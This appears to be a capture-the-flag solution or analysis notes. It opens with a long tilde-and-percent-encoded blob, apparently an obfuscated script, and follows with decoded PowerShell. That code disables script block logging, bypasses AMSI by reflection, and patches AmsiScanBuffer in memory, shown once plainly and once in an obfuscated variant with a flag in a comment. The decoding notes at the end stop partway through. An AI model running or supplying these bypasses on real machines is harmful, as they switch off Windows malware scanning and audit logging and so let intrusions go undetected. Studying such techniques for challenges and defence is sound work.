~~%~%~~~%~~%~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~%~%%%~%~~%%%~%~~~%%%~%~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~~%~~~%~~%%~~~~%~%%~%%~%~~%~~~%~~~%~~~~~~~%~%~%%~~%~~~~~~~%~~~%~~%%%~~%%~%%~%~~%~~%~%%%~~%%~~%~~~%%~%%~~~%%~%%~~~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~~%~~%~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%%~~~~%~~~~~~~%~~~%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~~%~~~%~~~%~~~~~~~%~%~%%~~%~~~~~~~%~~~%~~%~%~~%%~%%~~~%%~%%~~~~%~%%~%%%~~~%~~~%~~~%~~~~~~~%~%~%%~~%~~~~~~~%~~~%~~%~~~~%~~%%%~%~%~%%~~%%~~%%~~%%~~%%~~%~%~%%%~~%~~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%%%~~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%%~~~~~~~~%~%~~%~%%~%%~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~%~%%%~%~~%%%~%~~~%%%~%~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~~%~~%~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~%~%%~%%~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%%~~%%~~%%~~%~~%~%%%~%~~%%~%~%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~%~~~~%%~~~~~~%~%%~~~~%~~~~~~%~%%~%%~%%%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~~%~~~%%%~~~~~~%~%~~%~~~~%~%~~~%~~%~~~%~%~~~~~%%~~~~%~%%%~%~~~%%~~~%%~%%~%~~~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~~~~%~~%%%%~~%~%%%~%~~~%%~~%~%~%~%%~%%~%~%%%~%~%~%%%~%~~%~~~~~~~%~%~~~~~%%~~~~~%%%%~~~~%~~~~%~~~%%%~~~~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~%~%~~%%~%%%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~%%%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%%~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~%~~~~%%~~%%~~%%~~%~%~~%~~~~%~%~~%~%%~%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%~%%%~~%~~%%~%~%%~~~~%~%%%~~%~~%%%~~%%~%%~%~~~~%%~~~~%~%%~%%~~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~~%%~%%~%%%%~%%%~~~~~%%%%~~%~~%~%~~~~~%~~%~~~%~%~~~~~%%~~~~%~%%%~%~~~%%~~~%%~%%~%~~~~~%~%%~~~~%~~~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%~~%~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~~%%~%%~~~%~%~~%~~~~%~%~~~~~%~%~~~~~%~%~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~~%~~%%%~%~~~~%~%%~%~%%%~~%%~%%~%%~~~%%~~%~%~%%~~%~%~%%%~~~~~~%~~~~~~~%%~%%%~~~~%~%~~~~~%~%~~~~~%~%~~~%~~%~~~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~~%~~~~~~~%%%%~%~~%~~~~~~%~~~~~~~~%~~~%~~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%%%~%%~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%%%~%%~~~~%~%~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~~%%~%%~%%~~~%%~~~~%~%%%~~%%~%%%~~%%~~%~~~~~~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~~%~~~~~~%%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%~~~~%~~%%~%~%%~%%%%~%%~~%~~~%%%~%~%~%%~%%~~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%%~~~%~~%%~%%%%~%%~%%%%~%%~%%~~~~%~~~~~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%%~~~%%%~~~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~%~%~%~%~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~~%~~~%%%~%%%~%~%~~%%~%%~%~~%~%%%%~%~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~~%%~~%%~%%~~~%~~%%%~~%%~~%~%~%%%~%%%~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%%~~~~%~~~~~~%%~%%%%~%%%~%~%~%%%~%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~%%~~~%%%~~~~~%%~~%%~~%%~%%~~~%~~%%%%~%%~%%~~~%%~~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~%~~%%%~%%~~~~%~%~~%%%%%~%~~~~%~%~~~%~~~%~~%~~~~~~~~~~%~%~~~~~%~%~~%~~~~~%~%%~~%~~~%%~~%~~~~%~%%~%~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~~~~~~~%~~%~~~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~~~~%~%~~~~~%~%~~~%~~%~~~%~~~~%~~%~~~~%~~%~%~%%%~%~~%~~~~%~%~%%~~%~%~%%%~%~%~~~%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~~%~~~%~~~%~~%~~~~%~%~~~~%~%%~%%~%~%~~%%~%~%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%%~~%%~~%~%~%%%~%~~~~%~%%%~~%%%~%%%~%~~~%~%~%~~~~%~~%~%~%~%~%%%~%~~~%~~%~~%~%%~%%~~~%~~%~~%~%~%~%~~~%%%%~~%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%~~~~%~%~%~~~%%~%%~%~%%~%%~~~%%~~%~~~%%~~%~%~%%~~~%%~%%~%%%%~%~~~%~~~%~~~%~%~~%~%~~~~~%~~%%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%~%%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~~~~%%%~%%~~%~~%%%~~%~%~~%~~%~%~~%~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~~%~~%~~~%~~~~%~~%~~~~%~~%~%~%%%~%~~%~~~~%~%~%%~~%~%~%%%~%~%~~~%~~%~%%~~~~%~~~~~~~%~~~%~~~%~~%~~~~%~%~~~~%~%%~%%~%%%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%~~%%~%~~%~%%%~~%%~%%%~~%%~~%~%~%~%~%~~~~%~%%%~~%%%~%%%~%%~~%~%~%%~~~%~~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%~%~~%~%%%~%~~~%%%%~~%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%~~~~%%%~%~~~%~~%%~%~%%~%%~~~%%~~%~~~%~~~%~%~%~~~~%%~%%~%%%%~%~~~%~~~%~~~%~%~~%~%~~~~~%~~%%%~~%~~%%~~~%~~~%%~~%%~%%~~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~~~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%%~~~%%~%%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%~~~~%%%~%%~~%~~%%%~~%~%~~%~~%~%~~%~~%~~~%~~~%~%~~%~~~~%~%~~~%~~~%%~~%~~~~~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~~%~~%~~~%~~~~%~~%~~~~%~~%~%~%%%~%~~%~~~~%~%~%%~~%~%~%%%~%~%~~~%~~%~%%~~~~%~~~~~~~%~~~%~~~%~~%~~~~%~%~~~~%~%%~%%~%%%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%~~%%~%~~%~%%%~~%%~%%%~~%%~~%~%~%~%~%~~~~%~%%%~~%%%~%%%~%%~~%~%~%%~~~%~~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%~%~~%~%%%~%~~~%%%%~~%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%~~~~%%%~%~~~%~~%%~%~%%~%%~~~%%~~%~~~%~~~%~%~%~~~~%%~%%~%%%%~%~~~%~~~%~~~%~%~~%~%~~~~~%~~%%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~%~~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~%~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~%~~~%%~%~%~~%%%~%%~~%~~%%%~~%~%~~%~~%~%~~%~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%%%~~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%%~~~~~~~~%~%~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~%%~~~~%~~~~~~%~%%~%%~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%%~~%%~~%%~~%~~%~%%%~%~~%%~%~%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~%~~~~%%~~~~~~%~%%~~~~%~~~~~~%~%%~%%~%%%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~~%~~~%%%~~~~~~%~%~~%~~~~%~%~~~%~~%~~~%~%~%~~~%~~%%~~~%~~%%~%~%~~%%~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~%~~~~%~~~%%%~~~~~%~~~%~~~~~%~%~~~%~~%~~~%~%~~~~~%~%~%~%~%~%~~%~~%~%%~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%~%~%~~%%~%%%~~%~~~%~~~~~%~%~~~%~~%~~~%~%%~~%~%~~%%%~~%~%~%%%~%~~%%~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~~~~~~%~~~%~~~~~%~%~~~%~~%~~~%~%~~%~~%~%~%~~~%~~~%%%~%~%%~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~%%%~~%~~~%~~~~~%~%~~~%~~%~~~%~%%~~~~%~%~%%~~%~~%%%%~%~~%%%~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~~%%%~~~~~%%~~~~~~%~~~%~~~~~%~%~~~%~~%~~~%~%~%%%~%~%~~%~~%~%~%~%~%~~~%~~~~%~~~~~~~%%%%~%~~%~~~~~~~%~~~%~~~%%~~~~~%%%%~~~~%~~~~%%~~%%~~%%~~%~~~%~~~~~%~%~~~%~~%~~~%~~%~%%~%~%~%~~~%~~%%~%~%~~%~%~~%~%%~~~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~~~~%~~%%%%~~%~%%%~%~~~%%~~%~%~%~%%~%%~%~%%%~%~%~%%%~%~~%~~~~~~~%~%~~~~~%~~%~~~%~%~%~~~%~~%%~~~%~~%%~%~%~~%%~~~~%~%%~~~~%~~%~~~%~%~~~~~%~%~%~%~%~%~~%~~%~%%~~~~~%~%%~~~~%~~%~~~%~%%~~%~%~~%%%~~%~%~%%%~%~~%%~~~~%~%%~~~~%~~%~~~%~%~~%~~%~%~%~~~%~~~%%%~%~%%~~~~~%~%%~~~~%~%~%%~~%~~%~~~%~%%~~~~%~%~%%~~%~~%%%%~%~~%%%~~~%~%%~~~~%~%~%%~~%~~%~~~%~%~%%%~%~%~~%~~%~%~%~%~%~~~%~~~~%~%~~%~~~~%~%~~%~%%~%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%~%%%~~%~~%%~%~%%~~~~%~%%%~~%~~%%%~~%%~%%~%~~~~%%~~~~%~%%~%%~~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~~%%~%%~%%%%~%%%~~~~~%%%%~~%~~%~%~~~~~%~~%~~~%~~%~%%~%~%~%~~~%~~%%~%~%~~%~%~~%~%%~~~~~%~%%~~~~%~~~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~%%~~~~%~~~~~~~%%~%%~~~%~%~~%~~~~%~%~

image.png

start-sleep 23
# Disable Script Logging:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging", "0")

# Matt Graebers Reflection method:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Forcing an error:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)

start-sleep 12
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

start-sleep 7

$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $ZQCUW

$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
# $XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('flag{b313794dcef335da6206d54af81b6203}'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Decoded that second obfuscated part for flag 2
# Obfuscated string concatenation
"am" + "si.dll"
# Decoded value:
"amsi.dll"

# Obfuscated string concatenation
"Amsi" + "Scan" + "Buffer"
# Decoded value:
